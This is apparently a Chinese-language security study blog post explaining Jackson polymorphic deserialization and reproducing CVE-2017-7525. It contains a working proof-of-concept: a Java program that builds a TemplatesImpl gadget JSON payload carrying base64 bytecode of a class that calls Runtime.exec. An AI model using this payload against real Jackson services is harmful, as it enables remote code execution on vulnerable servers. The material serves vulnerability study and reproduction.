About Jackson

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

环境配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>  
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>

序列化&反序列化代码演示

对JSON进行操作

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
package test;

public class Person {
public int age;
public String name;

@Override
public String toString() {
return "Person [age=" + age + ", name=" + name + "]";
}
}

Jackson.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package test;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Jackson {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 19;
p.name = "xiaofuc";
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}

image-20250327133547762

多态类型绑定

如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。

JacksonPolymorphicDeserialization即Jackson多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如Object、接口或抽象类,则可以在JSON字符串中指定其具体类型,Jackson将生成具体类型的实例。

简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象

DefaultTyping

Jackson 提供一个 enableDefaultTyping 设置,其包含 4 个值:

  • JAVA_LANG_OBJECT:当被序列化或反序列化的类里的属性被声明为一个Object类型时,会对该Object类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化的类)
  • OBJECT_AND_NON_CONCRETE:除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化(当然这些类本身需要时合法的、可被序列化的对象)。此外,enableDefaultTyping()默认的无参数的设置就是此选项。
  • NON_CONCRETE_AND_ARRAYS:除了前面提到的特征外,还支持Array类型。
  • NON_FINAL:除了前面的所有特征外,包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的属性信息都需要被序列化和反序列化。

默认情况下,值是OBJECT_AND_NON_CONCRETE

总结作用范围:

image-20250327134912508

@JsonTypeInfo注解

@JsonTypeInfo 注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
  • JsonTypeInfo.Id.NONE:有无这个没区别
  • JsonTypeInfo.Id.CLASS:反序列化的时候通过@class指定相关类。
  • JsonTypeInfo.Id.MINIMAL_CLASS:和JsonTypeInfo.Id.CLASS差不多,只不过@class变成了@c
  • JsonTypeInfo.Id.NAME:多了@type,但是没法被反序列化利用。
  • JsonTypeInfo.Id.CUSTOM:需要自定义,手写解析器。

所以JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS可以触发反序列化漏洞。

Jackson反序列化

看完以上内容,简单地总结Jackson的反序列化漏洞触发点:

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

如果反序列化的类的属性是Object的时候,因为Object类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用。

漏洞原理简单Demo

假设xiaofuc类中的setEvil()会执行恶意操作。

Jackson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package test;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Jackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
String json = "{\"age\":19,\"name\":\"xiaofuc\",\"X\":{\"@class\":\"test.Evil\",\"evil\":{\"age\":0,\"name\":null,\"X\":null}}}";
Person p2 = mapper.readValue(json, Person.class);
}
}

class Evil {

public Object evil = new Person();

public void setEvil(Object obj) {
System.out.println("执行恶意操作");
this.evil = obj;

}
}

Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test;

import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object X;

@Override
public String toString() {
return "Person [age=" + age + ", name=" + name + " object =" + X + "]";
}
}

运行Jackson类时,回显“执行恶意操作”。

我们可以联想到之前学习的FastJSON漏洞,其实本质上还是因为过滤不严格,在反序列化的时候触发了特定类的setter方法与构造方法,从而触发一些恶意链子。

利用方式

TemplatesImpl

CVE-2017-7525

版本要求:

Jackson 2.6 系列 < 2.6.7.1
Jackson 2.7 系列 < 2.7.9.1
Jackson 2.8 系列 < 2.8.8.1

JDK版本:7u21或8u20

参考自:https://drun1baby.top/2023/12/07/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%BA%8C%EF%BC%89CVE-2017-7525/

https://infernity.top/2025/03/05/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#CVE-2017-7525%EF%BC%88%E5%9F%BA%E4%BA%8ETemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89

漏洞复现

Test:

1
2
3
4
public class Test {
public Object object;
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.fasterxml.jackson.databind.ObjectMapper;

import javax.xml.bind.DatatypeConverter;
import java.io.File;
import java.io.FileInputStream;

public class poc {
public static void main(String[] args) throws Exception {
String exp = readClassStr("D:\\CTF\\JAVA\\CVE\\CVE-2017-7525\\target\\classes\\Calc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'xiaofuc',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws Exception{

File file = new File(cls);
FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fileInputStream.read(bytes);
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
return base64Encoded;
}
}

Calc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Calc extends AbstractTranslet {
public Calc() throws Exception {
Runtime.getRuntime().exec("Calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

启动poc.java后会蹦出计算器。

这里又扯到CC3那个经典的利用TemplatesImpl调用恶意字节码(怎么哪里都有你),逻辑已经说过很多遍了。

按理来说,之前我们利用这个都是触发getOutputProperties(),但这个方法是一个getter,怎么想都不对。

我们来看看源码:

把断点下在:BeanDeserializerFactory#addBeanProps() 481行这里。

image-20250327203338122

这里收获了个小的知识点:

我们看到MapperFeature.USE_GETTER_AS_SETTERS

image-20250327210110717

这个enum代表枚举类型,这些粉色的字段本身已经代表了一个常量,如果我们在传参中以MapperFeature.USE...丢进去,自动算作传入了MapperFeature的对象,因为枚举的每一个常量其实都是该枚举类的一个静态对象实例

USE_GETTERS_AS_SETTERS这个属性的英语很明显告诉我们,如果它为true的话,即使outputProperties没有setter方法,也会调用它的getter方法触发恶意链子。

我们步入一下观察:

image-20250327204346796

下一步:

image-20250327211021820

_mapperFeatures有值,过。

看看f.getMask()image-20250327211108727

返回128,过。

第二个判断条件和上面相同,直接过。

所以最后UseGettersAsSetters值为true,能够调用outputproperties的getter方法,触发TemplatesImpl链。